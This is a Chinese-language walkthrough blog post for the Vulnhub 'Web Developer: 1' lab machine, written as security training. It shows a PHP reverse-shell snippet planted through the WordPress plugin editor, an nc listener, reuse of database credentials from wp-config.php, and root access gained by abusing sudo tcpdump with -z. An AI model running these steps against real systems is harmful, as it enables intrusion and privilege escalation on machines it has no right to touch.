Vulnhub靶机渗透测试实战(二):Web Developer: 1

靶机下载地址:
https://www.vulnhub.com/entry/webdeveloper-1,288/

攻击机ip / 系统:
172.20.10.5 / Mac OS
经过arp-san -l进行主机发现
Vulnhub靶机渗透测试实战(二):Web Developer: 1_第1张图片
靶机ip地址:
172.20.10.11

注意如往常一样 我们仍要从/root/flag.txt中get flag

端口扫描

Vulnhub靶机渗透测试实战(二):Web Developer: 1_第2张图片

扫描网站目录

使用dirb命令
dirb是Kali linux自带的渗透工具

Mac下安装:
下载安装包
https://sourceforge.net/projects/dirb/files/
编译执行

tar -xvf dirb222.tar.gz
mv dirb222 /Application
chmod -R 744 dirb222
cd /Application/dirb222
./configure
make
make install

dirb [url] /Applications/dirb222/wordlists/common.txt 安装好后使用

开始扫描
Vulnhub靶机渗透测试实战(二):Web Developer: 1_第3张图片

发现漏洞

发现 http://172.20.10.11/ipdata下有个流量包
Vulnhub靶机渗透测试实战(二):Web Developer: 1_第4张图片
下载后放到wireshark查看
选择文件>导出对象>http分组
Vulnhub靶机渗透测试实战(二):Web Developer: 1_第5张图片
发现后台用户名和密码
再根据目录扫描时发现的后台url:http://172.20.10.11/wp-admin
登录后台!

上传shellcode

发现后台有更改插件代码的功能,选择Plugins->Editor
选择要更改的插件:Hello Dolly
上传shellcode,以获得反弹shell

fsockopen($ip,$port) 打开指定端口和url的网络连接
proc_open($cmd,$descriptorspec,$pipes) 执行cmd命令并且执行descriptorspec索引数组指定的输入输出重定向

Vulnhub靶机渗透测试实战(二):Web Developer: 1_第6张图片
上传之后启用插件Hello Dolly
Vulnhub靶机渗透测试实战(二):Web Developer: 1_第7张图片
*常用的php代码反弹shell是

$sock=fsockopen($ip,$port);
exec("/bin/sh -i <&3 >&3 2>&3");

但是尝试过失败,google了很久之后发现有博客提到:
该shellcode对于ubuntu无效(但没有解释具体原因)
有师傅知道的请指教~

获得反弹shell

在这里插入图片描述
在主机打开1234端口监听,获得反弹shell

nc -lvvp 1234

提升简单shell 为交互式tty

python3 -c 'import pty;pty.spwan("/bin/bash")'

*交互式tty优点
1 有所在目录输出显示,显示比较友好
2 可以使用sudo命令(虽然这里并没有用到)

(简单shell不能使用sudo)
3 使用ctrl+c不会直接退出,有回溯历史功能,可使用vim (使用python模块升级的tty也不能实现这一点,感兴趣的师傅可以去看看其他如socket方法)

升级shell后
尝试直接查看/root/flag.txt —— permission denied
Vulnhub靶机渗透测试实战(二):Web Developer: 1_第8张图片
查看敏感文件 wp-config.php:储存数据库用户名和密码
Vulnhub靶机渗透测试实战(二):Web Developer: 1_第9张图片

登录远程服务器

我们尝试用wp-config中的数据库用户名和密码连接远程服务器:
Vulnhub靶机渗透测试实战(二):Web Developer: 1_第10张图片
发现登录成功~

尝试查看/root/flag.txt
在这里插入图片描述
在这里插入图片描述
没办法这么简单直接查看 看来要找到其他方法

使用tcpdump执行任意命令

查看当前身份可执行的命令

sudo -l

Vulnhub靶机渗透测试实战(二):Web Developer: 1_第11张图片
发现可以root权限执行tcpdump命令

创建攻击文件

touch /tmp/exploit

写入shellcode

echo 'cat /root/flag.txt' > /tmp/exploit

赋予可执行权限

chmod +x /tmp/exploit

利用tcpdump执行任意命令

sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root

获得flag
Vulnhub靶机渗透测试实战(二):Web Developer: 1_第12张图片
get flag啦~

tcpdump命令详解:
-i eth0 从指定网卡捕获数据包
-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
-z [command] 运行指定的命令
-Z [user] 指定用户执行命令
-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
-W [num] 指定抓包数量

参考博客:
http://www.vuln.cn/8034
文章中师傅还介绍了很多其他的使用一个命令执行任意命令的漏洞,如tar,zip等等,感兴趣可以了解一下

https://www.rootnetsec.com/vulnhub-webdeveloper/

你可能感兴趣的:(Vulnhub靶机渗透测试实战(二):Web Developer: 1)